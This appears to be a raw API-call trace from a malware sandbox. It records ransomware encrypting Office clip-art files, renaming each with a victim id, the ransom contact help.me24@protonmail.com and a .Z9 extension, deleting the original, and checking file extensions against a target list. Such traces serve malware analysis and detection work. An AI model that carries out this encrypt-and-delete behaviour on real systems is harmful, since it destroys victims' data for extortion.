	[0179.622] lstrlenW (lpString="J0107658.WMF") returned 12
	[0179.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0179.634] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=7072) returned 1
	[0179.634] CloseHandle (hObject=0x370) returned 1
	[0179.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 0x220
	[0179.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0179.635] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.635] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0179.636] GetLastError () returned 0x0
	[0179.636] ReadFile (in: hFile=0x370, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x1ba0, lpOverlapped=0x0) returned 1
	[0179.645] WriteFile (in: hFile=0x460, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1bb0, lpOverlapped=0x0) returned 1
	[0179.646] ReadFile (in: hFile=0x370, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.646] WriteFile (in: hFile=0x460, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.647] SetEndOfFile (hFile=0x460) returned 1
	[0179.647] CloseHandle (hObject=0x460) returned 1
	[0179.647] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.647] SetEndOfFile (hFile=0x370) returned 1
	[0179.649] CloseHandle (hObject=0x370) returned 1
	[0179.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 1
	[0179.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0179.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0179.651] lstrlenW (lpString=".doc") returned 4
	[0179.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.651] lstrlenW (lpString=".docx") returned 5
	[0179.651] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0179.651] lstrlenW (lpString=".pdf") returned 4
	[0179.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.651] lstrlenW (lpString=".xls") returned 4
	[0179.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.651] lstrlenW (lpString=".xlsx") returned 5
	[0179.652] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0179.652] lstrlenW (lpString=".ppt") returned 4
	[0179.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0179.652] lstrlenW (lpString=".zip") returned 4
	[0179.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.652] lstrlenW (lpString=".rar") returned 4
	[0179.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.652] lstrlenW (lpString=".bz2") returned 4
	[0179.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.652] lstrlenW (lpString=".7z") returned 3
	[0179.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0179.652] lstrlenW (lpString=".dbf") returned 4
	[0179.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0179.652] lstrlenW (lpString=".1cd") returned 4
	[0179.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0179.652] lstrlenW (lpString=".jpg") returned 4
	[0179.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0179.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0179.652] lstrlenW (lpString=".doc") returned 4
	[0179.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.652] lstrlenW (lpString=".docx") returned 5
	[0179.653] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0179.653] lstrlenW (lpString=".pdf") returned 4
	[0179.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.653] lstrlenW (lpString=".xls") returned 4
	[0179.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.653] lstrlenW (lpString=".xlsx") returned 5
	[0179.653] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0179.653] lstrlenW (lpString=".ppt") returned 4
	[0179.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0179.653] lstrlenW (lpString=".zip") returned 4
	[0179.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.653] lstrlenW (lpString=".rar") returned 4
	[0179.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.653] lstrlenW (lpString=".bz2") returned 4
	[0179.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.653] lstrlenW (lpString=".7z") returned 3
	[0179.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0179.653] lstrlenW (lpString=".dbf") returned 4
	[0179.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0179.653] lstrlenW (lpString=".1cd") returned 4
	[0179.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0179.653] lstrlenW (lpString=".jpg") returned 4
	[0179.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.653] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0179.654] lstrlenW (lpString="J0107712.WMF") returned 12
	[0179.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0179.655] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=4636) returned 1
	[0179.655] CloseHandle (hObject=0x370) returned 1
	[0179.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 0x220
	[0179.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0179.655] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.655] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0179.656] GetLastError () returned 0x0
	[0179.656] ReadFile (in: hFile=0x370, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x121c, lpOverlapped=0x0) returned 1
	[0179.669] WriteFile (in: hFile=0x460, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1220, lpOverlapped=0x0) returned 1
	[0179.670] ReadFile (in: hFile=0x370, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.670] WriteFile (in: hFile=0x460, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.670] SetEndOfFile (hFile=0x460) returned 1
	[0179.670] CloseHandle (hObject=0x460) returned 1
	[0179.670] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.670] SetEndOfFile (hFile=0x370) returned 1
	[0179.733] CloseHandle (hObject=0x370) returned 1
	[0179.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 1
	[0179.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0179.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0179.947] lstrlenW (lpString=".doc") returned 4
	[0179.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.947] lstrlenW (lpString=".docx") returned 5
	[0179.947] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0179.947] lstrlenW (lpString=".pdf") returned 4
	[0179.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.947] lstrlenW (lpString=".xls") returned 4
	[0179.947] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.947] lstrlenW (lpString=".xlsx") returned 5
	[0179.947] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0179.947] lstrlenW (lpString=".ppt") returned 4
	[0179.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0179.948] lstrlenW (lpString=".zip") returned 4
	[0179.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.948] lstrlenW (lpString=".rar") returned 4
	[0179.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.948] lstrlenW (lpString=".bz2") returned 4
	[0179.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.948] lstrlenW (lpString=".7z") returned 3
	[0179.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0179.948] lstrlenW (lpString=".dbf") returned 4
	[0179.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0179.948] lstrlenW (lpString=".1cd") returned 4
	[0179.948] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0179.948] lstrlenW (lpString=".jpg") returned 4
	[0179.948] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0179.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0179.948] lstrlenW (lpString=".doc") returned 4
	[0179.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.948] lstrlenW (lpString=".docx") returned 5
	[0179.948] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0179.948] lstrlenW (lpString=".pdf") returned 4
	[0179.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.948] lstrlenW (lpString=".xls") returned 4
	[0179.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.949] lstrlenW (lpString=".xlsx") returned 5
	[0179.949] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0179.949] lstrlenW (lpString=".ppt") returned 4
	[0179.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0179.949] lstrlenW (lpString=".zip") returned 4
	[0179.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.949] lstrlenW (lpString=".rar") returned 4
	[0179.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.949] lstrlenW (lpString=".bz2") returned 4
	[0179.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.949] lstrlenW (lpString=".7z") returned 3
	[0179.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0179.949] lstrlenW (lpString=".dbf") returned 4
	[0179.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0179.949] lstrlenW (lpString=".1cd") returned 4
	[0179.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF") returned 68
	[0179.949] lstrlenW (lpString=".jpg") returned 4
	[0179.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.949] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0179.949] lstrlenW (lpString="J0107728.WMF") returned 12
	[0179.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0179.950] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=5492) returned 1
	[0179.950] CloseHandle (hObject=0x558) returned 1
	[0179.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 0x220
	[0179.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0179.951] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.951] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0179.952] GetLastError () returned 0x0
	[0179.952] ReadFile (in: hFile=0x558, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x1574, lpOverlapped=0x0) returned 1
	[0179.970] WriteFile (in: hFile=0x36c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1580, lpOverlapped=0x0) returned 1
	[0179.971] ReadFile (in: hFile=0x558, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.971] WriteFile (in: hFile=0x36c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.971] SetEndOfFile (hFile=0x36c) returned 1
	[0179.972] CloseHandle (hObject=0x36c) returned 1
	[0179.972] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.972] SetEndOfFile (hFile=0x558) returned 1
	[0179.974] CloseHandle (hObject=0x558) returned 1
	[0179.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 1
	[0179.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0179.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0179.976] lstrlenW (lpString=".doc") returned 4
	[0179.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.976] lstrlenW (lpString=".docx") returned 5
	[0179.976] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0179.976] lstrlenW (lpString=".pdf") returned 4
	[0179.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.977] lstrlenW (lpString=".xls") returned 4
	[0179.977] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.977] lstrlenW (lpString=".xlsx") returned 5
	[0179.977] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0179.977] lstrlenW (lpString=".ppt") returned 4
	[0179.977] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0179.977] lstrlenW (lpString=".zip") returned 4
	[0179.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.977] lstrlenW (lpString=".rar") returned 4
	[0179.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.977] lstrlenW (lpString=".bz2") returned 4
	[0179.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.977] lstrlenW (lpString=".7z") returned 3
	[0179.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0179.977] lstrlenW (lpString=".dbf") returned 4
	[0179.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0179.977] lstrlenW (lpString=".1cd") returned 4
	[0179.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0179.977] lstrlenW (lpString=".jpg") returned 4
	[0179.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0179.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0179.977] lstrlenW (lpString=".doc") returned 4
	[0179.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.977] lstrlenW (lpString=".docx") returned 5
	[0179.977] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0179.977] lstrlenW (lpString=".pdf") returned 4
	[0179.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.978] lstrlenW (lpString=".xls") returned 4
	[0179.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.978] lstrlenW (lpString=".xlsx") returned 5
	[0179.978] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0179.978] lstrlenW (lpString=".ppt") returned 4
	[0179.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0179.978] lstrlenW (lpString=".zip") returned 4
	[0179.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.978] lstrlenW (lpString=".rar") returned 4
	[0179.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.978] lstrlenW (lpString=".bz2") returned 4
	[0179.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.978] lstrlenW (lpString=".7z") returned 3
	[0179.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0179.978] lstrlenW (lpString=".dbf") returned 4
	[0179.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0179.978] lstrlenW (lpString=".1cd") returned 4
	[0179.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0179.978] lstrlenW (lpString=".jpg") returned 4
	[0179.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.979] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
